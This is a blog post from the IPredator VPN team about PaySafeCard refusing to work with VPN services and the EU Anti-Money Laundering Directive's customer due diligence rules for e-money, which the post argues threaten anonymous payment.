So after a lot of complaining and back and forth PayPal reinstated our account. The reasons for it being disabled in the first place are a bit conflicting. Starting with the fundraiser for and ending with PayPal not being able to find our street address on $maps-service and trying to call us at 4am in the morning when nobody is going to pick up the phone. In any case, after a full week of not being able to talk to anyone at Paypal, things got resolved basically the minute our story gained publicity. Thank you all for that.


So while PayPal was down a lot of our European users switched to PaySafeCard. The spike was so huge that we decided to apply for a direct account with them. This would automate the process and lower the time until your account would be activated.

After we submitted all the necessary documents we got a short reply from PaySafeCard that they won't be able to clear us in their "compliance department". Since that message was a bit unclear we asked for more information which resulted in a short message saying that PaySafe is not working with VPN services. It is always interesting to see when companies that should be neutral have different kinds of measurements for their customers. If you take a quick glance at this page on the PaySafeCard website you will see that they advertise a service called JonDos which, as it turns out, is a proxy service.

So how does their service and ours differ you might ask. It does not. We dispatched a request via TF resulting in the following statement (taken from the TF article):

"In terms of security it is a very high risk for paysafecard, because you cannot trace
where the information is coming from," Unger says.

"In many cases VPN services are used for businesses which have something to hide - this
can be any illegal business because if the address is anonymous, you cannot trace where
all the information is coming from. People can hide a lot of illegal content and you will
never be able to detect the original source," she adds.

Looking at the list of businesses that use PaySafeCard one can also see a lot of ISPs that offer hosting. Maybe the people at PaySafeCard can grace us with an explanation of how paying anonymously for a VPS, a dedicated server or a shell account differs when taking their statement into account. Do they think people are not able to install a torrent client, use SSH or any other things they obviously deem as "something to hide"? Like, running a Tor exit node?

When (government) reality catches up with your business model

It looks like the presumption of innocence is gone, and you, our dear users, are defined as potential criminals just because you want to protect your online privacy. As part of the debate we got a document that you can take a look at here. Unfortunately the document in question is in German but after translating the content we found out that it is a summary about the latest Anti-Money Laundering Directive from the EU summit held in the beginning of 2013.

Why would somebody send us such a document? As it turns out the EU is not happy with the current legislation and is pushing for a tighter lock-down of e-currencies. You can find the directive in its full beauty here. As usual, the reason being criminal and/or terrorist activities.

This directive states rather hidden that a number of money transactions require special handling. They differentiate between "Simplified Customer Due Diligence" (low risk transactions) and "Enhanced Customer Due Diligence" (high risk transactions). So whats the big deal you might ask. Lets have a look at the details.

We have to skip to "ANNEX III" to see the actual issue. There we find the following text:

Product, service, transaction or delivery channel risk factors:
(a) private banking;
(b) products or transactions that might favour anonymity;
(c) non-face-to-face business relationships or transactions;
(d) payment received from unknown or un-associated third parties;
(e) new products and new business practices, including new delivery mechanism, and the
    use of new or developing technologies for both new and pre-existing products

Please read points b) and c) carefully. Essentially this means that any privacy services that provide you as a user with some anonymity will be governed by article 16(3) of the directive: "Enhanced Customer Due Diligence". The phrasing of point c) is quite open to interpretation as well; are they talking about non-face-to-face transactions or non-face-to-face business transactions? What does "Enhanced Customer Due Diligence" stand for in this context? Luckily for us there are websites dedicated to translating the language of our governments into more accessible terms. We will just provide a few snippets please read the full text if you are interested.

Impact of new law

General due diligence obligations

As a general due diligence measure, the Anti-money Laundering Act
requires that the legal entity:

- identify the customer and verify his or her identity;
- obtain information on the purpose and intended nature of the business relationship;
- clarify whether the contracting party acts for a beneficial owner and, when 
  applicable, identify the beneficial owner and verify the data on a risk-based approach;
  and conduct ongoing monitoring of the business relationship and ensure that the 
  documents, data or information held are kept up to date.

However, Section 3(2)3 of the Anti-money Laundering Act and Section 25i(1) of the Banking
Act modify these obligations for the issuance, distribution and redemption of e-money. 
For e-money institutions, Section 22(2) of the Payment Services Act refers to Section 25i
of the Banking Act and is therefore applicable. E-money issuers, agents and persons 
distributing or redeeming e-money must always identify their customers and continuously 
monitor the business relationship. Furthermore, the data collected must be recorded in 
accordance with Section 8 of the Anti-money Laundering Act.

Identifying customers

As is the case for other subjects of anti-money laundering obligations, the 
identification of the customer requires:

- in the case of natural persons, the name, address, birth date and place and nationality
  of the person, and verification of this information with an identification card or a 
  passport; or
- in the case of legal entities, data on the name of the company, the form of 
  organisation, the registration number (if applicable), the address of the registered
  office or headquarter and the names of the members of the legal entity's 
  representative body or statutory representative.

So no more buying vouchers at gas stations, kiosks and supermarkets unless you provide your passport/ID card that can be associated with the payment in question?

However, e-money issuers, agents and points of sale are exempt from the identification 
requirement if the value stored to the pre-paid card does not exceed €100 a month and, 
in case of a rechargeable card, the amount cannot exceed €100 a month and the 
e-money cannot be combined technically with e-money from another issuer. 
Furthermore, when e-money is redeemed for cash, customer due diligence measures must
be applied if the amount exceeds €20. This exemption and its application to all 
persons involved in the issuing, distribution and redemption of e-money is the result
of the protests described above.

However, there is an exception to the exception if the e-money owner acquires an amount
of more than €100 a month with several transactions which obviously belong together 
('smurfing'). In the case of such artificial splitting, the customer due diligence 
measures apply (Section 25i(2)2 of the Banking Act).

Section 25i(5) of the Banking Act and Section 3(2)4 of the Anti-money Laundering Act
provide that simplified due diligence measures can be applied if:

- requested by the legally bound person; and
- there is a low risk of money laundering, terrorist financing or other criminal acts 
  associated with the specific e-money business.

Here is the interesting part in regards to PaySafeCard. The way their current system works, smurfing is possible. They can't prohibit anyone buying vouchers for 10k a month since it is anonymous. The directive is not yet established law but it is supposed to be adopted within 2 years of its ratification. This means that ANY e-currency will have this kind of problem -- not just PaySafeCards. Germany acknowledging Bitcoin is nice but it also means that the Anti-Money Laundering Directive has to be applied there too.

The question that arises now is: "Shall we protect and protest for companies that violate our trust while claiming to do the opposite"? As if recent events in light of the Snowden leaks had not shown how massive the dragnets are. PaySafeCard is taking the way of least resistance now to sell us out. If this EU directive is put in place as it stands now we, as a society, might well lose one of the last buffers we have defending us from our governments (and foreign ones too) snooping in on us: the ability to purchase in private, anonymously. Just like we do with cash.

So as of now we are not going to accept PaySafeCards anymore until the matter is resolved. If you are unhappy about this please complain to PaySafeCard.

The IPredator team